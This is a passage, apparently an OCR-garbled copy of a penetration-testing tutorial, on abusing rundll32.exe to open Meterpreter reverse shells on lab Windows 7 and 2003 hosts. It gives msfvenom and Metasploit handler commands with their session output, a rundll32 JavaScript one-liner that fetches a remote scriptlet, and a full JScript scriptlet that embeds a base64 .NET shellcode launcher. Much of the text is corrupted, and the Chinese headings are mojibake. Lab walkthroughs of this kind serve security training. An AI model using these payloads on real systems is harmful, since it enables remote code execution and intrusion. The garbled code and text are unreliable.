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RundlI32fg1} :
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iFE=x86 , x64\AIRuNdII32iERR.,

Windows 2003 EHANE :

Windows 7 BRALIE :

KB - 192.168.1.4 Debian
#Bf1 0 192.168.1.119  Windows 2003
192.168.1.5 Windows 7

EFEEME (1) :

BB EHmsf :
iE : x86 payload

I msf exploit(multi/handler) > show options
2

3 Module options (exploit/multi/handler):


https://micropoor.blogspot.com/

5 Name Current Setting Required Description

9 Payload options (windows/meterpreter/reverse_tcp):

11 Name Current Setting Required Description

13 EXITFUNC process yes Exit technique (Accepted:
Ss, none)

, seh, thread, proce

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi

15 LPORT 53 yes The listen port

18 Exploit target:

19

20 Id Name

21 -- ----

22 @ Wildcard Target

23

24

25 msf exploit(multi/handler) > exploit
26

27 [*] Started reverse TCP handler on 192.168.1.4:53
28



msf exploit{multishandler} = show options

Module o pt 10ns 2 Kp Toit/multishandler):

Wame Current Setting

epted: '', seh, thread, process, nonel
L 53.1. e 11 addr tan interface may be specif
LPORT 5 BS iste
Exploit target:
Id Mame

@  Wildcard Target

mef exploit{multishandler} =
$CHNERAT -

C\Windows\SysWOW64\rundlI32.exe javascript:"\.A\mshtml,RunHTMLApplication
".document.write();GetObject("script:http://192.168.1.4/Rundll32_shellcode")

7T : x64 rundll32.exe

Hmzhtm],ﬂuﬂHTMLA?p

.' 4 _I,u" B d-l 7 = |'_I E-l

msf exploit(multi/handler) > exploit

*] Started reverse TCP handler on 192.168.1.4:53
*] Sending stage (179779 bytes) to 192.168.1.5
*

Meterpreter session 57 opened (192.168.1.4:53 ->
192.168.1.5:41274) at 2019-01-19 04:13:26 -0500

meterpreter > getuid

Server username: John-PC\John
meterpreter > getpid

Current pid: 7064

meterpreter >



58.1.5:41274) at 2019-01-1% G4:13:26 -0580

tuid
S - John-PCydohn
meterprete 1
Current pic

BFFmnE (2) :

payloadfitE :

I msfvenom -a x86 --platform windows -p windows/meterpreter/reverse tcp
LHOST=192.168.1.4 LPORT=53 -f dll >Micropoor_ Rundl132.dll

-3 ¥86 --platforn windows -p windows/meterpreter/reverse_tcp LHOST=162.168 1.4 LPORT=53 -f dl1 »Micropoor Rundl132.d11
utputting raw payload

FEANIT :

C:hUsersh dohnzrundl132 shell32.d17,Control _RunDLL C:YUsersyJohn\DesktopiMicro

r_Rundl] d11

I msf exploit(multi/handler) > exploit

3 [*] Started reverse TCP handler on 192.168.1.4:53
I [*] Sending stage (179779 bytes) to 192.168.1.5

5 [*] Meterpreter session 63 opened (192.168.1.4:53 ->
192.168.1.5:43320) at 2019-01-19 04:34:59 -0500

6
7 meterpreter > getuid
8 Server username: John-PC\John
9 meterpreter > getpid

10 Current pid: 6656



exploit {multi/handler} = exploit

) 3t 2019-01-19 04:34:39 -0500

Current pid :
meterpreter = |

$CHRTT :
Windows 2003 :

I rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=n
ew ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()"

E : tNEELZrpowershell , FERpowershel EEIL &L,

C:sDocuments and Eettings\Hdministratur\ﬁ%ﬁﬁ)rundllEE.exe Javascript ", .~mzhtm
.d11l.RBunHTHLApplication “;eval("w=new ActivedObject{~"WScript.Shell~'">;w_runi~"
stec"d;window.closed > ;

C:*“JDocuments and Eettings\ﬂdministratur&ﬁ%ﬁﬁ)
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Fts : Rundll32_shellcode

1 <?xml version="1.0"?>

)



3 <package>

4 <component id="Micropoor">

6 <script language="JScript">

7 <![CDATA[

8 function setversion() {

9 }

10 function debug(s) {}

11 function base64ToStream(b) {

12 var enc = new ActiveXObject("System.Text.ASCIIEncoding");
13 var length = enc.GetByteCount_2(b);

14 var ba = enc.GetBytes 4(b);

15 var transform = new ActiveXObject("System.Security.Cryptography.Fromt
ase64Transform™);

16 ba = transform.TransformFinalBlock(ba, @, length);

17 var ms = new ActiveXObject("System.IO.MemoryStream");
18 ms.Write(ba, @, (length / 4) * 3);

19 ms.Position = 0;

20 return ms;

21 }

22

23 var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACITeXNOZWOURGVsZWd!
dGVTZXIpYWxpemFOaWouSGISZGVy "+

24 "AWAAAAhEZWx1Z2F0ZQdOYXInZXQwB211dGhvZDADAWMWU31zdGVtLKR1bGVnYXR1U2Vy:
WFsaXph"+

25 "dGlvbkhvbGR1citEZWx1Z2F@ZUVudHI5I1IN5c3R1bS5EZWXx1Z2FOZVN1cmlhbGl6YXRpt
25Ib2xk"+

26 "ZXIvU31zdGVtL131Zmx1Y3Rpb24uTWVtYmVySW5mbIN1lcmlhbGl6YXRpb25Ib2xkZXIJ/
gAAAAKD" +

27 "AAAACQQAAAAEAgAAADBTeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyKOR1t
GVnYXR1"+

28 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2VOENRhcmd1ldFR5cGVBc3N1bWIseQ50)
XInZXRU" +

29 "eXBLTmFtZQptZXRob2ROYW11DWR1bGVnYXR1IRW50cnkBAQIBAQEDMFN5c3R1bS5EZWx1:
2FOZVN1"+

30 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAALIN5c3R1bS5SdW50aW1ll
131bwWo0"+

31 "aW5nLk11c3NhZ21uZy5IZWFkZXIIYW5kbGVyBgYAAABLbXNjb3JsaWIsSIFZ1cnNpb249Lh
iqwLjAu"+
32 "MCwgQ3VsdHVyZT1luZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1INjE5MzR1MDg5E
gCcAAAAH" +

33 "dGFyZ2VOMAkGAAAABgkAAAAPU31zdGVtLKkR1IbGVNnYXR1BgoAAAANRHIUYW1pY@ludm9r:
QOEAWAA" +



34 "ACJITeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyAwAAAAhEZWx1Z2FOZQde\
XInZXQw" +

35 "B211dGhvZDADBwWMwU31zdGVtLkR1bGVnYXR1U2VyaWFsaXphdGlvbkhvbGR1citEZWx1:
2FOZUVu"+

36 "dHI5Ai9TeXNOZWOuUmVmbGVjdGlvbi5NZW1iZXJJIbmZvU2VyaWFsaXphdGlvbkhvbGR1¢
gkLAAAA" +

37 "CQWAAAAJDQAAAAQEAAAALIN5c3R1IbS5SZWZsZWNOaWOuLk11bWI1ckluZm9TZXIpYWxpe
mF@aWou" +

38 "SG9sZGVyBgAAAAROYW11DEFzc2VtYmx5TmFtZQ1lDbGFzc@5hbWUIU21nbmFOdXJI1Ck11t
WI1clR5"+

39 "cGUQR2VUZXIpYOFyZ3VtZW50cwEBAQEAAWENU31zdGVtLIR5cGVbXQkKAAAACQYAAAAT(
QAAAAYR" +

40 "AAAALFN5c3R1bS5PYmplY3QgRHIuYW1pY@ludm9rZShTeXNOZWOuT2IqZWNOW10pCAAA/
AOBCWAA" +

41 "AAIAAAAGEgAAACBTeXNOZWOUWG1sLINjaGVtYS5YbWxWYWx1ZUd1dHR1cgYTAAAATVNS
3R1bS5Y"+

42 "bWwsIFZ1lcnNpb249MidwL jAUMCwgQ3VsdHVyYyZT1luZXVOcmFsLCBQdWIsaWNLZX1Ub2t1t
j1iNzdh"+
43 "NWMINJjES5MzR1MDg5BhQAAAAHAGFyZ2VOMAKGAAAABhYAAAAaU31zdGVtL1I1Zmx1Y3Rpt
24uQXNz"+

44 "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAINWpAAAWAAAAQAAAD/ /wAAUAAAAAAAAABA/
AAAAAAA" +

45  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADN+6DgCOCCOhUuAFMZzSFUaGlz]
HByb2dy"+
46 "YWOgY2Fubm90IGI1IHI1biBpbiBET1MgbWOkZS4NDQokAAAAAAAAAFBFAABMAQMAVC1C)
AAAAAAA" +

47 "AAAAAAACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAL
AAAAAQA" +

48 "AAAAAAAAATAAAAACAAAAAAAAAWBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAL
AAAWCKA" +

49 "AESAAAAAQAAARATAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAA" +

50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAATAAAAAAAAAAAAAAATTAAASAAAL
AAAAAAA" +

51 "AAAALNR1eHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAATAAAYCS5yc3IjAAAAL
ATAAABA" +

52 "AAAABAAAAA4AAAAAAAAAAAAAAAAAAAEAAAEAuUcCmMVsb2MAAAWAAAAAYAAAAATAAAASAAAAL
AAAAAAA" +

53 "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAATABQBEIgAATACAAAMA/L
AAAAAAA" +

54 " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQE T of
AAACGAA" +

55 "KAIAAAYAACOAAAAAAAAA/OiCAAAAYIN1McBkilAwilIMilIUi3IoD7dKIjH/rDxhfAIs]
MHPDQHH" +

56 "4vISVAtSEItKPItMEX]jjSAHRUYtZIAHTiOkY4zpJizSLAdYx/6zBzw@BxzjgdfYDffg71
SRA15FiL"+



57 "WCQB@2aLDEuLWBwWBO4sEiwHQiUQkJIFtbYV1aUf/gX19aixLrjV1oMzIAAGh3czI{VGhMc
yYHiej/"+
58 "@LiQAQAAKcRUUGgEpgGsA/9VqCmjAqAEEaATAADWI51BQUFBAUEBQaOoP3+D/1ZdqEFZX:
ImldGH/"+

59 "1YXAdAr/Tghl170hnAAAAagBqBFZXaALZyF//1YP4AH421z7qQGgAEAAAVmoAaFikU+X/ ]
ZNTagBW"+

60 "UldoAtnIX//Vg/gAfShYaABAAABgAFBoCy8PMP/VV2hlbk1lh/9VeXv8MIA+FcP///+m
b////AcMp"+

61 "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAWAABCEGAAAK(
hYGjml+"+

62 "AQAABHACAAAEKAMAAAYLBhYHbigHAAAKBoS5pKAgAAAoATgkAAAOMFg1+CQAAChMEFhYHE
QQWEgMo" +
63 "BAAABgWIFSgFAAAGJisAKkogABAAAIABAAAEHOCAAgAABCpCUOpCAQABAAAAAAAMAAAAC
jQuMC4z"+

64 "MDMxOQAAAAAFAGWAAABgAgAAT34AAMWCAABKAWAATIINOCm1uZ3MAAAAAMAYAAAEAAAAG\
VMAOAYA" +

65 "ABAAAAAjR1VIRAAAAEgGAAAOAQAAIOIsb2TIAAAAAAAAAAgAAAVFVAFQIAgAAAPOIMWAW.
AABAAAA" +

66 "DwAAAAQAAAADAAAABEAAAAWAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAA/
AEAAAAB" +

67 "AAAAAQAAAAAACgABAAAAAAAGAE SARAAGAF sBPWEGAHCBPWEGAKYBhgEGAMYBhgEGAP CBF
AAGAEEC" +

68 "hgEGAFWCRAAGAJgChgEGAK cCRAAGAKOCRAAGANACRAAGAAIDAWIGABQDAWIGAE cDNWMA/
AAAAQAA" +

69 "AAAAAQABAAEAEAAhACKABQABAAEAAAAAAPWBAAAFAAMABWATAQAAZgIAACEABAAHABEA)
QASABEA" +

70 "aAASABMBhAI+AFAgAAAAATYYUgAKAAEAWCEAAAAAKQBYAA4AAQAAAAAAgACRIHBAFQABL!
AAAAACA" +

71 "AJEgjAAdAAUAAAAAATAAKSCZACEACWAXIgAAAACRGDADDgANAAAAAQCtAAAAAECS5AAAAL
WC+AAAA" +

72 "BADPAAAAAQDZAAAAAgDsAAAAAWDAAAAABAAHAQAABQANAQAABgAdAQAAAQAOAQAAAgAW/
REAUgAu" +

73 "ACEAUgA@ACKAUgAKAAKAUgAKADKAUGAKAEKAWAICAGEALWIKAGKACENPAGEADWNYAHEAL
gBKAHKA" +

74 "UgAKACCAWWASAC4AAEWBpAC4AGWBYAGMAKWASAAgABgCRAAEAVQEAAAQAWWANAWABBWB/ /
AEAAAEJ" +

75 "AIwWAAQAAAQSAmMQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAL
AABADSA" +

76 "AAAAAAQAAWAAAAABTWIOkdWx1PgB3bW1fY3NTZGxsX3BheWxvYWQuUZGxsAFByb2dyYWOAL
2h1bGxD"+

77 "b2R1TGF1bmNoZXIAbXNjb3JsaWIAU31zdGVtAE9iamVjdAAuY3RvcgBNYWIUAE1FTVID1
O1INSVQA" +

78 "UEFHRVOFWEVDVVRFX1JFQURXUk1URQBWaXJOdWFsQWxsb2MAQ3J1YXR1VGhyZWFkAFdh:
XRGb3JIT"+

79 "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAC216ZQBmbEFsbG9jYXRpb25UeXB1AGZSUHIvc
GVjdABs"+



80 "cFRocmVhZEF@dHIpYnVOZXMAZHATAGFjalNpemUAbHBTAGFYydEFkZHI1c3MACGFYyYWOA:
HdDcmVh"+

81 "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkdO1lpbGxpc2Vjb25kcwBTeXNOZWOul
2VidXIp"+
82 "dHkuUGVybW1lzc21lvbnMAU2VjdXJpdH1QZXJtaXNzaW9uQXROcmlidXRIAFN1Y3VyaXR5(
WN@aWou" +

83 "AFN5c3R1bS5SdW50aW11LkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0:
WOucOFo"+

84 "dHIpYnVOZQBSdW50aW11Q29tcGFRaWIpbGleeUFOdHIpYnVOZQB3bW1fY3NFfZGxsX3Bhe
WXVYWQA" +

85 "QnlOZQA8UHIpdmFOZUltcGx1bWVudGFOaWOuRGVOYW1scz57MEQXQTVERjAtRDZCNyOOF
UuzLUIB"+

86 "QzItOTYOMUUYREJCMDNFfQBDb21lwaWxlckdlbmVyYXR1ZEFOdHIpYnVOZQBWYWXx1ZVR5¢
GUAX19T"+

87 "dGF@aWNBcnJheUluaXRUeXBlU216ZTOzNDEAJCRtZXRob2QweDYwWMDAWMDItMQBSdW50:
W11SGVs"+

88 "cGVycwBBcnJheQBSdW50aW11Rm11bGRIYWS5kbGUASW5pdGlhbGl6ZUFycmF5AEl1udFBO«¢
gBVCFIOF"+

89 "eHBsaWNpdABTeXNOZWOuUnVudGltZS5IbnR1cmOwU2VydmljZXMATWFyc2hhbABDb3B5/
Fplcm8A"+

90 "RGxsSW1wb3J@QXROcmlidXR1AGt1lcm51bDMyACS5]Y3RvcgBTeXNOZWOUU2VjdXIpdHKA
W52ZXIp"+

91 "ZmlhYmx1Q29kZUF@dHIpYnVOZQAAAAAAAYAAAAAAAPBAGE231uNOuskKWQeLbsD4ACLd6)
FYZNOCJ" +

92 "AyAAAQMAAAECBgkHAAQICQkJICQoABhgICQkYCRAIBQACCRgIBSABARENBCABAQgEEAQAA/
AMGERAH" +

93 "AAIBEikRLQQAARgKCAAEAROFCBgIAgYYCACFHQUIGAKYBCABAQAIAQAIAAAAAAAeAQAB!
FQCFldy"+
94 "YXBOb25FeGN1cHRpb25UaHIvd3MBgJ4uAYCEU31zdGVtLIN1Y3VyaXR5L1Blcmlpc3Npt
25zL1IN1"+

95 "Y3VyaXR5UGVybW1lzc21lvbkFOdHIpYnVOZSwgbXNjb3JsaWIsIFZ1cnNpb249NC4wL jAul
CwgQ3Vs"+

96 "dHVyZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1INJjE5MzR1MDg5FQFUAhBT:
21wVmVy "+

97 "aWZpY2F@aWIuAQAAAOgPAAAAAAAAAAAAAPAPAAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAL
ADWKQAA" +

98 "AAAAAAAAXONvckRsbElhaW4AbXNjb3J1ZS5kbGwAAAAAAP81ACAAEAAAAAAAAAAAAAAAL
AAAAAAA" +

99 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAA" +

100 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARL
AAAAAAAA" +

101 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

102 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +



103 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

104 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

105 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

106 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

107 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAGAAAAAAAAAAAL
AAAAAAAA" +

108 "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAABOAgAAAAAAAAAAAABE
AjQAAABW" +
109 "AFMAXwBWAEUAUgBTAEKATWBOAF8ASQBOAEYATWAAAAAAVQTV/gAAAQAAAAAAAAAAAAAA
AAAAAAAA" +

110 "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQBYAEYAaQBsAGUASQBU
AGYAbwAA" +

111 "AAAAJAAEAAAAVABYAGEAbgBzAGWAYQBOAGKAbwBUAAAAAAAAALAEIAEAAAEAUWBOAHIA
aQBUAGCA"+

112 "RgBpAGWAZQBIAG4AZgBvAAAASAEAAAEAMAAWADAAMAAWADQAYgAWAAAALAACAAEAREBE
AGWAZQBE "+

113 "AGUAcwBjAHIAaQBwAHQAaQBVAGAAAAAAACAAAAAWAAEAAQBGAGKAbABLAFYAZQBYAHMA
aQBVAG4A" +

114 "AAAAADAALgAWACAAMAAUADAAAABQABCAAQBIAGAAdABLAHIAbgBhAGWATgBhAGOAZQAA
AHCAbQBp "+
115 "AFS8AYwBzAFS8AZABSAGWAXWBWAGEAeQBSAGSAYQBKACAAZABSAGWAAAAAACEAAGABAEWA
ZQBNAGEA" +

116 "bABDAG8ACABS5AHIA2QBnAGgAdAAAACAAAABYABCcAAQBPAHIAaQBnAGkAbgBhAGwWAREBE
AGWAZQBuU"+

117 "AGEAbQB1AAAAdwBtAGKAXwBJjAHMAXwBKAGWAbABTAHAAYQB5AGWAbWBhAGQALgBKAGWA
bAAAAAAA" +

118 "NAAIAAEAUABYAGBAZAB1AGMAJABWAGUAcgBzAGkAbwBUAAAAMAAUADAALgAWACAAMAAA
ADgACAAB" +

119 "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBVAGA4AAAAWACAAMAAUADAAL gAwAAAA
AAAAAAAA" +

120 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

121 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

122 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

123 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

124 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

125 "AAAAAAAAAAAAAAAAAAAAAAAATAAADAAAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +



126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

127 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

128 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

129 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

130 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

131 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

132 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

133 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

134 "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAKXAAAACQYAAAAJFgAAAAYaAAAAJINS5c3R1
bS5SZWZs"+

135 "ZWN@aWOuLkFzc2VtYmx5IExvYWQoQnlOzZVtdKQgAAAAKCWAA";
136 var entry_class = 'ShellCodelLauncher.Program’;

137

138 try {

139  setversion();

140  var stm = base64ToStream(serialized obj);

141 var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter
s.Binary.BinaryFormatter');

142 var al = new ActiveXObject('System.Collections.ArraylList');
143  var d = fmt.Deserialize 2(stm);
144 al.Add(undefined);

145  var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
146

147 '} catch (e) {

148 debug(e.message);
149 }

150

151 11>

152 </script>

158

154 </component>

155 </package>

156
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